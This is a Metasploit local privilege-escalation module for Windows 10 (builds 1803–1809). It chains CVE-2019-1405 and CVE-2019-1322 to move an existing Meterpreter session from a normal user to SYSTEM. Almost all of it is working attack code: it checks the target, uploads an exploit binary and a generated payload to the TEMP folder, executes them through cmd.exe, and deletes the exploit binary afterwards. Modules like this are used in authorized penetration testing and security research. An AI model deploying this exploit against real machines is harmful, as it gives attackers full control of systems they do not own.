Microsoft UPnP Local Privilege Elevation Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability',
        'Description' => %q{
          This exploit uses two vulnerabilities to execute a command as an elevated user.
          The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to
          NT AUTHORITY\LOCAL SERVICE
          The second (CVE-2019-1322) leverages the Update Orchestrator Service to
          elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'NCC Group', # Original discovery (https://www.nccgroup.trust/uk/)
          'hoangprod',            # PoC
          'bwatters-r7'           # msf module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2019-11-12',
        'References' => [
          ['CVE', '2019-1322'],
          ['CVE', '2019-1405'],
          ['EDB', '47684'],
          ['URL', 'https://github.com/apt69/COMahawk'],
          ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'],
          ['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1']
        ],
        'DefaultOptions' => {
          'DisablePayloadHandler' => false
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options([
      OptString.new('EXPLOIT_NAME',
                    [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
      OptString.new('PAYLOAD_NAME',
                    [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
      OptString.new('WRITABLE_DIR',
                    [false, 'Path to write binaries (%TEMP% by default).', nil]),
      OptInt.new('EXPLOIT_TIMEOUT',
                 [true, 'The number of seconds to wait for exploit to finish running', 60]),
      OptInt.new('EXECUTE_DELAY',
                 [true, 'The number of seconds to delay between file upload and exploit launch', 3])
    ])
  end

  def exploit
    exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)
    exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
    payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')
    temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
    payload_path = "#{temp_path}\\#{payload_name}"
    exploit_path = "#{temp_path}\\#{exploit_name}"
    payload_exe = generate_payload_exe

    # Check target
    vprint_status('Checking Target')
    validate_active_host
    validate_target
    fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)

    # Upload Exploit
    vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
    ensure_clean_destination(exploit_path)
    exploit_bin = exploit_data('cve-2019-1322', 'CVE-2019-1322-EXE.exe')
    write_file(exploit_path, exploit_bin)
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")

    # Upload Payload
    vprint_status('Uploading Payload')
    ensure_clean_destination(payload_path)
    write_file(payload_path, payload_exe)
    print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
    print_warning("This exploit requires manual cleanup of the payload #{payload_path}")

    # Run Exploit
    vprint_status('Running Exploit')
    print_status('It may take a moment after the session is established for the exploit to exit safely.')
    begin
      cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
    rescue Rex::TimeoutError => e
      elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)
      print_error('Caught timeout.  Exploit may be taking longer or it may have failed.')
    end
    vprint_status("Cleaning up #{exploit_path}")
    ensure_clean_destination(exploit_path)
  end

  def validate_active_host
    print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
  rescue Rex::Post::Meterpreter::RequestError => e
    elog('Could not connect to session', error: e)
    raise Msf::Exploit::Failed, 'Could not connect to session'
  end

  def validate_target
    if sysinfo['Architecture'] == ARCH_X86
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end
    version = get_version_info
    vprint_status("OS version: #{version}")
    unless version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1809)
      fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362')
    end
  end

  def ensure_clean_destination(path)
    return unless file?(path)

    print_status("#{path} already exists on the target. Deleting...")
    begin
      file_rm(path)
      print_status("Deleted #{path}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog(e)
      print_error("Unable to delete #{path}")
    end
  end
end